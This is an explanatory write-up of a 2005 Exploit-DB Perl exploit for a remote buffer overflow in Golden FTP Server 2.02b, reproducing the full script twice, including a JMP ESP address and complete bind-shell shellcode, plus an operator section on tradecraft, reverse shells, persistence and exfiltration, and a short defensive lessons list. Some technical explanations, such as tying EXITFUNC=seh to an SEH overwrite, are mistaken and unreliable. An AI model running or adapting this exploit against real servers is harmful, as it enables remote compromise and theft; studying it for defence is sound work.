Understanding the Golden FTP Server 2.02b Remote Buffer Overflow Exploit

Understanding the Golden FTP Server 2.02b Remote Buffer Overflow Exploit
What this paper is
This paper details a security vulnerability in Golden FTP Server version 2.02b. Specifically, it describes a remote buffer overflow that can be triggered by sending a specially crafted command to the FTP server. Successful exploitation allows an attacker to execute arbitrary code on the vulnerable server, typically with the privileges of the FTP service.
Simple technical breakdown
The exploit works by sending a very long string to the FTP server's RNTO (Rename To) command. This string is designed to be larger than the buffer allocated by the server to store the command's argument. When the server tries to copy this oversized string into its buffer, it overflows, overwriting adjacent memory.
The overflow is carefully crafted to overwrite the return address on the stack. The return address is a pointer that tells the program where to continue execution after a function finishes. By overwriting it with a specific address, the attacker redirects the program's flow to a piece of malicious code (shellcode) that is also part of the oversized string. This shellcode then executes, in this case, to open a backdoor on port 4444, allowing the attacker to connect and issue commands.
Complete code and payload walkthrough
The provided Perl script leverages the Net::FTP module to interact with the vulnerable FTP server.
#!/usr/bin/perl -w
# Barabas - www.whitehat.co.il -
# cheers to muts and all peeps at WH.
# XPSP2 goldenftpserver sploit - bind 4444
use strict;
use Net::FTP;#!/usr/bin/perl -w: This is the shebang line, indicating that the script should be executed using the Perl interpreter. The-wflag enables warnings, which is good practice for debugging.- Comments: The lines starting with
#are comments, providing context about the author, origin, target, and exploit type. use strict;: This pragma enforces stricter parsing rules for Perl code, helping to catch common errors.use Net::FTP;: This line imports theNet::FTPmodule, which provides functionalities for interacting with FTP servers.
my $payload="\x41"x260;
$payload .="\x65\x82\xa5\x7c";#jmpesp
$payload .="\x90"x32;#not really necessary...blah
# win32_bind - EXITFUNC=seh LPORT=4444 Size=321 Encoder=None http://metasploit.com
$payload .="\xfc\x6a\xeb\x4f\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45".
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\xe3".
"\x30\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1".
"\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe3\x8b\x5f\x24\x01".
"\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24".
"\x1c\x61\xc3\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b\x70\x1c\xad".
"\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x31\xdb\x66\x53".
"\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc".
"\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff".
"\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53".
"\x43\x53\xff\xd0\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a".
"\x70\xc7\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9".
"\x57\xff\xd6\x53\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50".
"\x54\x54\x55\xff\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff".
"\xd0\x66\x6a\x64\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89".
"\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93".
"\x8d\x7a\x38\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6".
"\x5b\x57\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad".
"\xd9\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83".
"\xc4\x64\xff\xd6\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff".
"\xd0";my $payload="...": This line initializes a variable$payloadwhich will hold the entire exploit string."\x41"x260: This creates a string consisting of 260 repetitions of the ASCII character 'A' (\x41). This forms the "padding" or "junk" data. Its purpose is to fill the buffer up to the point where it can overwrite the return address. The exact size (260 bytes) is determined by analyzing the vulnerable application's memory layout and how it handles theRNTOcommand."\x65\x82\xa5\x7c": This is a 4-byte sequence representing a memory address. In little-endian format, this translates to0x7c\xa5\x82\x65. This address is a "jump to ESP" (Extended Stack Pointer) instruction. When the program's execution flow is redirected here, it will execute theJMP ESPinstruction. ESP points to the top of the stack, which in this case, will contain the shellcode that follows. This is a common technique to transfer control to shellcode that is located on the stack."\x90"x32: This is a sequence of 32 "NOP" (No Operation) instructions (\x90). NOPs are essentially "do nothing" instructions for the CPU. They are often used as a "sled" before the actual shellcode. If theJMP ESPlands anywhere within the NOP sled, the CPU will execute through the NOPs until it reaches the actual shellcode. This increases the reliability of the exploit by providing a larger target area for the return address overwrite. The comment#not really necessary...blahsuggests the author might have included this for historical reasons or experimentation, as theJMP ESPmight be precise enough on its own.# win32_bind - EXITFUNC=seh LPORT=4444 Size=321 Encoder=None http://metasploit.com: This is a comment indicating that the following bytes are shellcode generated by Metasploit.win32_bind: This specifies the type of shellcode. It's designed for Windows and creates a "bind" shell. A bind shell opens a listening port on the target machine, and when an attacker connects to that port, a command shell is provided.EXITFUNC=seh: This refers to the exception handling mechanism used by the shellcode to exit cleanly.LPORT=4444: This indicates that the shellcode will open a listening port on the target machine at port 4444.Size=321: This is the approximate size of the shellcode.Encoder=None: No encoding was used, meaning the shellcode bytes are in their raw form.
- The large block of hex bytes (
"\xfc\x6a\xeb\x4f..."): This is the actual shellcode. It's a sequence of machine instructions designed to perform specific actions.- Stage 1: Finding Kernel32.dll and LoadLibraryA/GetProcAddress: The initial bytes (
\xfc\x6a\xeb\x4f\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45\x3c...) are responsible for locating essential Windows API functions. It typically starts by getting a pointer to the current process's environment block, then findingkernel32.dllin memory, and subsequently locatingLoadLibraryAandGetProcAddress. These functions are crucial for dynamically loading other libraries and resolving function addresses at runtime. - Stage 2: Loading WS2_32.dll: Using
LoadLibraryA, the shellcode loads thews2_32.dlllibrary, which contains Windows Sockets API functions necessary for network operations. - Stage 3: Resolving Socket Functions: It then uses
GetProcAddressto find the addresses of key socket functions withinws2_32.dll, such assocket,bind,listen,accept, andsend/recv. - Stage 4: Creating a Socket: A socket is created using the
socket()function. - Stage 5: Binding the Socket: The
bind()function is used to associate the socket with a specific local address and port (in this case, port 4444). - Stage 6: Listening for Connections: The
listen()function puts the socket into a listening state, waiting for incoming connections. - Stage 7: Accepting a Connection: When a client connects,
accept()is called to establish a connection with the client. - Stage 8: Duplicating Handles: The shellcode then duplicates the standard input, output, and error handles (STDIN, STDOUT, STDERR) of the newly accepted connection. This is done so that when a command is executed, its input and output are redirected to the network connection.
- Stage 9: Executing a Command Shell: Finally, the shellcode uses
CreateProcess()to launch a command interpreter (likecmd.exe) and redirects its standard input, output, and error streams to the duplicated handles of the network connection. This effectively gives the attacker a command shell on the target machine.
- Stage 1: Finding Kernel32.dll and LoadLibraryA/GetProcAddress: The initial bytes (
my $ftp = Net::FTP->new("127.0.0.1", Debug => 1);
$ftp->login("ftp","ftp");
$ftp->quot("RNTO",$payload);
# milw0rm.com [2005-01-22]my $ftp = Net::FTP->new("127.0.0.1", Debug => 1);: This creates a new FTP client object and attempts to connect to an FTP server running on the local machine (127.0.0.1). TheDebug => 1option will print FTP commands and responses to the console, which is useful for debugging.$ftp->login("ftp","ftp");: This attempts to log in to the FTP server with the username "ftp" and password "ftp". These are common default credentials for FTP servers, and the exploit likely assumes they are still in place or that anonymous login is permitted.$ftp->quot("RNTO",$payload);: This is the core of the exploit. Thequot()method sends an FTPQUOTEcommand to the server. In this case, it sendsRNTOfollowed by the entire$payloadstring. TheRNTOcommand is typically used to rename a file. By sending an excessively long string as the new filename, the buffer overflow is triggered.# milw0rm.com [2005-01-22]: This is a comment indicating the source and publication date of the exploit.
Mapping of code fragments to practical purpose:
| Code Fragment/Block
Practical details for offensive operations teams
- Required Access Level: This exploit targets a network service, so it requires network access to the vulnerable server. No local access is needed for the initial exploitation.
- Lab Preconditions:
- A vulnerable Golden FTP Server 2.02b instance must be running and accessible over the network.
- The server must be configured to allow anonymous FTP login or use default credentials ("ftp"/"ftp" as in the exploit).
- Network connectivity between the attacker's machine and the target server is essential.
- Firewalls must not be blocking the FTP control port (usually 21) or the target port for the bind shell (4444).
- Tooling Assumptions:
- Perl Interpreter: The exploit script is written in Perl, so a Perl interpreter must be available on the attacker's machine.
Net::FTPModule: TheNet::FTPPerl module needs to be installed. This is a standard module, but it's worth verifying.- Network Tools: Tools like
nmapornetcat(nc) would be useful for verifying the FTP service is running and for connecting to the bind shell on port 4444 after successful exploitation.
- Execution Pitfalls:
- Target Version Specificity: The exploit is highly specific to Golden FTP Server 2.02b. Using it against other versions or FTP servers will likely fail.
- Buffer Size Mismatch: The exact buffer size (260 bytes of 'A's) and the
JMP ESPaddress (0x7c\xa5\x82\x65) are critical. If the target system has different memory layouts, ASLR (Address Space Layout Randomization) enabled (though less common in 2005), or different service configurations, these values might need to be re-evaluated and adjusted through fuzzing or debugging. - Firewall/IDS Evasion: The exploit traffic (FTP commands) is generally unencrypted and can be easily detected by Intrusion Detection Systems (IDS). The shellcode itself might also be flagged.
- Authentication Bypass/Credentials: The exploit relies on default credentials or anonymous login. If these are changed, the exploit will fail at the login stage.
- Shellcode Port Conflict: If port 4444 is already in use on the target system, the bind shell will not be able to bind to it, and the exploit will fail to establish a shell.
- SEH Overwrite Reliability: The
EXITFUNC=sehimplies the exploit relies on overwriting a Structured Exception Handler (SEH) record. If the target system's exception handling mechanisms are different or if the overwrite corrupts critical SEH data, the exploit might crash the service instead of gaining code execution.
- Tradecraft Considerations:
- Reconnaissance: Thorough reconnaissance is vital to confirm the target software and version. Banner grabbing or vulnerability scanning can help identify Golden FTP Server 2.02b.
- Payload Customization: For real-world operations, the shellcode would likely be customized. Instead of a bind shell, a reverse shell might be preferred to bypass firewalls that block incoming connections. The port could also be changed.
- Stealth: The default FTP protocol is not stealthy. If stealth is a requirement, alternative methods or obfuscation techniques would be necessary.
- Post-Exploitation: Once a shell is obtained, the operator would typically aim to escalate privileges, establish persistence, and exfiltrate data.
Where this was used and when
This exploit was published in January 2005. At that time, Golden FTP Server was a popular, albeit likely less secure, FTP server application. Exploits like this were common in the early to mid-2000s as software development practices were less mature regarding security. It would have been used in unauthorized penetration testing scenarios or by malicious actors targeting systems running this specific, vulnerable version of the FTP server. The mention of "XPSP2" in the comments suggests it was tested against Windows XP Service Pack 2, a common operating system at the time.
Defensive lessons for modern teams
- Patch Management: The most crucial lesson is the importance of keeping software up-to-date. Vulnerabilities like this are patched in later versions. Regularly patching FTP servers and all other network services is paramount.
- Secure Configuration: Avoid using default credentials. Implement strong, unique passwords for all services. Disable anonymous FTP access unless absolutely necessary and properly secured.
- Network Segmentation and Firewalls: Restrict access to FTP servers. Only allow connections from trusted IP addresses or subnets. Use firewalls to block unnecessary ports and services.
- Intrusion Detection/Prevention Systems (IDS/IPS): Modern IDS/IPS solutions can detect and alert on suspicious FTP commands or shellcode patterns, even if the exploit itself is not specifically signatured.
- Vulnerability Management: Regularly scan your network for vulnerable services and versions. Prioritize remediation based on risk.
- Principle of Least Privilege: Run services like FTP servers with the minimum privileges necessary. If the FTP service is compromised, the impact is limited if it doesn't have elevated permissions.
- Application Hardening: Configure FTP servers with security best practices in mind, such as disabling unnecessary commands, limiting user access, and enabling logging.
ASCII visual (if applicable)
This exploit is a client-server interaction that overwrites a specific memory location. A visual representation of the stack overflow is most appropriate.
+--------------------+
| ... other data |
+--------------------+
| Return Address | <-- Attacker overwrites this
+--------------------+
| Saved Frame Ptr |
+--------------------+
| Function Arguments |
+--------------------+
| Local Variables |
+--------------------+
| Padding ('A's) |
| ... |
| ... |
+--------------------+ <-- Buffer starts here
| Shellcode |
| JMP ESP |
| NOP Sled |
| ... |
+--------------------+ <-- Payload sent to serverExplanation:
- The FTP server allocates a buffer to store the filename provided to the
RNTOcommand. - The attacker sends a string much larger than the buffer.
- The "Padding ('A's)" fills the buffer.
- The
JMP ESPaddress overwrites the "Return Address" on the stack. - When the
RNTOfunction finishes, it attempts to return to the overwritten address. - Execution jumps to the
JMP ESPinstruction. ESPpoints to the beginning of the shellcode, which then executes.
Source references
- Paper ID: 767
- Paper Title: Golden FTP Server 2.02b - Remote Buffer Overflow
- Author: Barabas
- Published: 2005-01-22
- Keywords: Windows, remote
- Paper URL: https://www.exploit-db.com/papers/767
- Raw Exploit URL: https://www.exploit-db.com/raw/767
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl -w
# Barabas - www.whitehat.co.il -
# cheers to muts and all peeps at WH.
# XPSP2 goldenftpserver sploit - bind 4444
use strict;
use Net::FTP;
my $payload="\x41"x260;
$payload .="\x65\x82\xa5\x7c";#jmpesp
$payload .="\x90"x32;#not really necessary...blah
# win32_bind - EXITFUNC=seh LPORT=4444 Size=321 Encoder=None http://metasploit.com
$payload .="\xfc\x6a\xeb\x4f\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45".
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\xe3".
"\x30\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1".
"\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe3\x8b\x5f\x24\x01".
"\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24".
"\x1c\x61\xc3\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b\x70\x1c\xad".
"\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x31\xdb\x66\x53".
"\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc".
"\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff".
"\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53".
"\x43\x53\xff\xd0\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a".
"\x70\xc7\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9".
"\x57\xff\xd6\x53\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50".
"\x54\x54\x55\xff\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff".
"\xd0\x66\x6a\x64\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89".
"\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93".
"\x8d\x7a\x38\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6".
"\x5b\x57\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad".
"\xd9\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83".
"\xc4\x64\xff\xd6\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff".
"\xd0";
my $ftp = Net::FTP->new("127.0.0.1", Debug => 1);
$ftp->login("ftp","ftp");
$ftp->quot("RNTO",$payload);
# milw0rm.com [2005-01-22]